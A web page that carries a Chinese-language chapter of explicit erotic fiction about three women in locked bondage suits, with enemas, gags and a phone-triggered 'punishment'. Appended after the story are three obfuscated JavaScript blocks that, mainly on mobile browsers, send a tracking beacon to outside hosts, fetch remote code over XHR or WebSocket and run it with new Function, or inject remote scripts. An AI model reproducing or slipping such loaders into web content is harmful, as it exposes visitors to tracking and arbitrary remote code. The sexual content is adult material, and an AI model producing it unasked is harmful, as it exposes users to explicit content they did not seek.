「雨荷,来吧」湘妤喘着气呼喊着雨荷,我只能用眼角瞄见雨荷移到了我的
脚边,却看不见她在做啥。

雨荷这时走到床边拾起了刚才脱下的家居服,从口袋中拿出了一个红色的口
塞球,然后张开嘴巴给自己戴上,在颈后将束带给系紧后,雨荷将两腿张开仰坐
在我的前方,我们两人的阴部面对面地互相望着,湘妤接着趴下来,在我和雨荷
的阴部之间来回奋力地吸舔着。原来雨荷的阴部和我们是类似的设计,只有一道
缝隙用来排出尿液跟分泌物,但是阴道里没有任何装置,阴部外也没有硬壳,因
此雨荷其实可以随时自慰但没有办法跟男生做爱。

雨荷身上的服装是为了避免接触到其它人的身体,因为她的罕见疾病就是会
对别人的DNA 过敏,也因此其实雨荷甚至不能跟湘妤接吻,只能在湘妤戴着口罩
时隔着口罩亲吻她,而且湘妤也只能隔着雨荷的服装帮雨荷产生刺激到达高潮,
因此她们虽然觉得能够在一起很开心,但在做爱这件事情上其实还有很大的缺憾。

「姊,你能不能在你们部门里提个建议,也帮像雨荷姊这样的病患设计一套
可以跟其它人正常做爱的服装或配件啊?」湘妤知道雨荷之前想说些什么,于是
把她的想法说出来。

「可是像我们这样的服装可是很折磨人的」我皱着眉头没好气地说。

「虽然雨荷姊身上穿的服装可以让她随时能够自慰,可是却不能让她感受到
真正的快乐,像我们一样的快乐」湘妤感叹地说着。

「唔唔…」雨荷听见我们的对话,赶紧摇着头表示没这回事,因为戴着口塞
没办法说话,只能发出呜呜的声音。

「雨荷姊,没关系的,我姊她可以理解的」湘妤讲完接着又继续埋首在我和
雨荷的股间,一个人要应付两个人也真是让她够累的了。

「如果雨荷你愿意的话,我可以尝试努力看看,哦喔""」湘妤听见我答应之
后,突然用力地吸吮了一下我的阴蒂,差点让我有了个小高潮。

「嗯嗯…」雨荷用双手搓揉着自己的乳房跟乳尖,点点头表示感谢。

「呼" 哈" 姊…我准备要去了喔" 」湘妤喘着气,扭动着她的臀部,用她的
阴部在我的脸上磨擦着,我也卖力地用嘴唇和舌头牙齿,尽可能地将湘妤推向高
潮的顶峰。这是我们三个女生的第一次做爱,也是有史以来最漫长的一次,整个
下午几乎都在我们的淫靡欢乐中度过,我也帮雨荷口交高潮了一次,雨荷也用双
手同时让我和湘妤高潮了两次,我们不停地交换着位置和顺序,直到三个人都精
疲力尽时,太阳也已经下山了。

「你们还能忍耐浣肠吗?要不要先帮你们排便?」雨荷躺在我和湘妤的中间,
拿下自己戴了整个下午的口塞后,有气无力地说着。

「先不要啦,排便之后自慰高潮功能就停止了,我还可以忍耐,我姊更是没
问题了」湘妤赶紧拒绝雨荷的建议,可是我感觉自己已经到了极限,刚才的最后
一次高潮其实就是因为憋不住浣肠的那股便意,才被催发出来的。

「嘻,那等等我先去准备晚餐,你们就先这样休息一下」雨荷拿起了我跟湘
妤的口罩帮我们戴上。

「等…唔呜!!」我没料到雨荷会有这个举动,来不及拒绝就被她将口塞给
放进口中,湘妤则是一脸欣然地张开嘴唇接受雨荷的服务。

「湘妤说你们习惯做完爱之后这样休息,应该没关系吧?」雨荷微笑着对我
说,我只好无奈地点头表示同意,然后转头给湘妤一个白眼,湘妤翻过身来在我
的鼻尖上碰了一下,那双灵活的眼睛笑得弯弯地,真拿她没辙。

突然肚子又传来一阵疼痛想要排便的感觉,我试着改变了一下姿势,侧躺着
让腹部的压力可以减轻一些,算算时间从浣肠开始到现在也应该有七个多小时了,
几乎快到之前湘妤有一次赌气将自己跟我同时浣肠然后做瑜珈紧缚待了一整晚长
达八个小时,看来这次有机会突破纪录了,我在心里苦笑地想着。

休息了大概半个小时候,湘妤又爬起跪坐在我的身上,示意我跟她再来一次,
但是这次我们都戴着口罩怎么帮对方口交?湘妤看见我一脸纳闷的样子,用脚跟
顶了顶我的大腿要我张开,然后她往后移动坐在我的左边大腿上示意我坐起来,
我用力弯起腰后好不容易跪坐了起来,接着湘妤和我面对面,用她的左脚膝盖顶
着我的胯下,我的左脚膝盖也刚好在他的胯下,我这时才弄懂了她的想法,这应
该也是她跟雨荷一起发明的方式吧。

湘妤将身体尽量往前倾,我们的乳尖就可以互相碰触摩擦甚至挤压产生刺激,
我也把嘴唇对着湘妤的嘴唇紧贴,我们隔着口罩互相亲吻着,吸吮着口中各自的
口塞,臀部和大腿也努力地摆动,顶住对方的阴部来回摩擦着。当性欲再度被激
发至高点时,我和湘妤都各自躺下,然后相互侧躺转过身体,用我们的大腿互相
夹住了对方,让彼此的阴部互相紧贴着,然后奋力扭动着腰臀,从阴道大量渗出
的分泌物变成了最好的润滑剂,让我们光滑的阴部更容易地来回滑动,但也产生
了更多吱呀吱呀的摩擦声,这是我们身上服装材质的特殊音效。

「齁""你们两个竟然趁我在忙自己偷偷来,太不够意思了」雨荷弄完晚餐后
回到房间看到我跟湘妤又开始享受,吃味地抱怨着。大概是因为被发现时的紧张
感,让我跟湘妤同时到达高潮,我们透过口罩发出唔唔呜呜的叫喊,弄的雨荷也
忍不住了,于是马上给自己戴上口塞球,然后爬到床上来加入战局,接着用同样
的方式和湘妤又高潮了一次,这时才满意地躺在床上休息,而我早已虚脱地无力
躺平着。

休息了一会儿后,雨荷先离开了床上,突然我感觉一道强烈的电流从乳尖跟
阴蒂流窜而出,痛苦地呜呜地叫喊着,这是血液回流的感觉,我知道有人关闭了
我身上的解锁功能,解除了紧束的惩罚。同时我也感觉到乳尖和阴部恢复了被硬
壳覆盖的感觉,自慰高潮的功能也跟着关闭了。湘妤躺在旁边也一样发出了呜呜
的叫喊,应该是跟我一样的情况。

「这是给你们两个的小惩罚,谁叫你们刚才丢下我自己玩」我抬起头看见雨
荷站在床边拿着我跟湘妤的手机,用求饶的眼神看着她,但已经来不及了,因为
我跟湘妤暂时麻痺的手脚还是维持着瑜珈紧缚的姿势,因此隔没多久接着就自动
启用了瑜珈紧缚,我马上感觉到身上的银绳紧束着躯体,心想雨荷至少可以让我
们排便吧。

「排便的话就等你们瑜珈紧缚结束再自己来吧,别担心,我只设定了最短的
八小时」然后雨荷微笑着走出了房间,将手机给放在浴厕里的镜台上,但是把浴
厕的门关上了,我跟湘妤只能眼睁睁地接受雨荷这个意外的惩罚,湘妤痛苦地将
头靠在我的肩膀上,我只能鼻尖轻轻碰触一下她的额头来安慰她,肚子这时候又
传来了强烈的痛苦便意,这将是个漫长的夜晚,我心里无奈地想着。
关闭
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();